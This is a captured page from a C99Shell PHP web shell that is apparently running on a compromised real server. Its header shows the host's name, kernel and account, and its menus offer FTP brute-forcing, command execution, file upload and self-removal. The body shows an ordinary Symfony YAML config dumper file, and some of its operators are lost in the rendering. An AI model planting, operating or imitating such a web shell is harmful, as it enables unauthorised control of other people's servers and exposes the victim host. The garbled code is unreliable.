!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/Config/Definition/Dumper/   drwxr-xr-x
Free 294.06 GB of 429.69 GB (68.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     YamlReferenceDumper.php (5.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Config\Definition\Dumper;

use 
Symfony\Component\Config\Definition\ConfigurationInterface;
use 
Symfony\Component\Config\Definition\NodeInterface;
use 
Symfony\Component\Config\Definition\ArrayNode;
use 
Symfony\Component\Config\Definition\ScalarNode;
use 
Symfony\Component\Config\Definition\EnumNode;
use 
Symfony\Component\Config\Definition\PrototypedArrayNode;
use 
Symfony\Component\Yaml\Inline;

/**
 * Dumps a Yaml reference configuration for the given configuration/node instance.
 *
 * @author Kevin Bond <kevinbond@gmail.com>
 */
class YamlReferenceDumper
{
    private 
$reference;

    public function 
dump(ConfigurationInterface $configuration)
    {
        return 
$this->dumpNode($configuration->getConfigTreeBuilder()->buildTree());
    }

    public function 
dumpNode(NodeInterface $node)
    {
        
$this->reference '';
        
$this->writeNode($node);
        
$ref $this->reference;
        
$this->reference null;

        return 
$ref;
    }

    
/**
     * @param NodeInterface $node
     * @param integer       $depth
     */
    
private function writeNode(NodeInterface $node$depth 0)
    {
        
$comments = array();
        
$default '';
        
$defaultArray null;
        
$children null;
        
$example $node->getExample();

        
// defaults
        
if ($node instanceof ArrayNode) {
            
$children $node->getChildren();

            if (
$node instanceof PrototypedArrayNode) {
                
$prototype $node->getPrototype();

                if (
$prototype instanceof ArrayNode) {
                    
$children $prototype->getChildren();
                }

                
// check for attribute as key
                
if ($key $node->getKeyAttribute()) {
                    
$keyNodeClass 'Symfony\Component\Config\Definition\\'.($prototype instanceof ArrayNode 'ArrayNode' 'ScalarNode');
                    
$keyNode = new $keyNodeClass($key$node);
                    
$keyNode->setInfo('Prototype');

                    
// add children
                    
foreach ($children as $childNode) {
                        
$keyNode->addChild($childNode);
                    }
                    
$children = array($key => $keyNode);
                }
            }

            if (!
$children) {
                if (
$node->hasDefaultValue() && count($defaultArray $node->getDefaultValue())) {
                    
$default '';
                } elseif (!
is_array($example)) {
                    
$default '[]';
                }
            }
        } elseif (
$node instanceof EnumNode) {
            
$comments[] = 'One of '.implode('; 'array_map('json_encode'$node->getValues()));
            
$default '~';
        } else {
            
$default '~';

            if (
$node->hasDefaultValue()) {
                
$default $node->getDefaultValue();

                if (
is_array($default)) {
                    if (
count($defaultArray $node->getDefaultValue())) {
                        
$default '';
                    } elseif (!
is_array($example)) {
                        
$default '[]';
                    }
                } else {
                    
$default Inline::dump($default);
                }
            }
        }

        
// required?
        
if ($node->isRequired()) {
            
$comments[] = 'Required';
        }

        
// example
        
if ($example && !is_array($example)) {
            
$comments[] = 'Example: '.$example;
        }

        
$default = (string) $default != '' ' '.$default '';
        
$comments count($comments) ? '# '.implode(', '$comments) : '';

        
$text rtrim(sprintf('%-20s %s %s'$node->getName().':'$default$comments), ' ');

        if (
$info $node->getInfo()) {
            
$this->writeLine('');
            
// indenting multi-line info
            
$info str_replace("\n"sprintf("\n%".$depth "s# "' '), $info);
            
$this->writeLine('# '.$info$depth 4);
        }

        
$this->writeLine($text$depth 4);

        
// output defaults
        
if ($defaultArray) {
            
$this->writeLine('');

            
$message count($defaultArray) > 'Defaults' 'Default';

            
$this->writeLine('# '.$message.':'$depth 4);

            
$this->writeArray($defaultArray$depth 1);
        }

        if (
is_array($example)) {
            
$this->writeLine('');

            
$message count($example) > 'Examples' 'Example';

            
$this->writeLine('# '.$message.':'$depth 4);

            
$this->writeArray($example$depth 1);
        }

        if (
$children) {
            foreach (
$children as $childNode) {
                
$this->writeNode($childNode$depth 1);
            }
        }
    }

    
/**
     * Outputs a single config reference line
     *
     * @param string $text
     * @param int    $indent
     */
    
private function writeLine($text$indent 0)
    {
        
$indent strlen($text) + $indent;
        
$format '%'.$indent.'s';

        
$this->reference .= sprintf($format$text)."\n";
    }

    private function 
writeArray(array $array$depth)
    {
        
$isIndexed array_values($array) === $array;

        foreach (
$array as $key => $value) {
            if (
is_array($value)) {
                
$val '';
            } else {
                
$val $value;
            }

            if (
$isIndexed) {
                
$this->writeLine('- '.$val$depth 4);
            } else {
                
$this->writeLine(sprintf('%-20s %s'$key.':'$val), $depth 4);
            }

            if (
is_array($value)) {
                
$this->writeArray($value$depth 1);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0049 ]--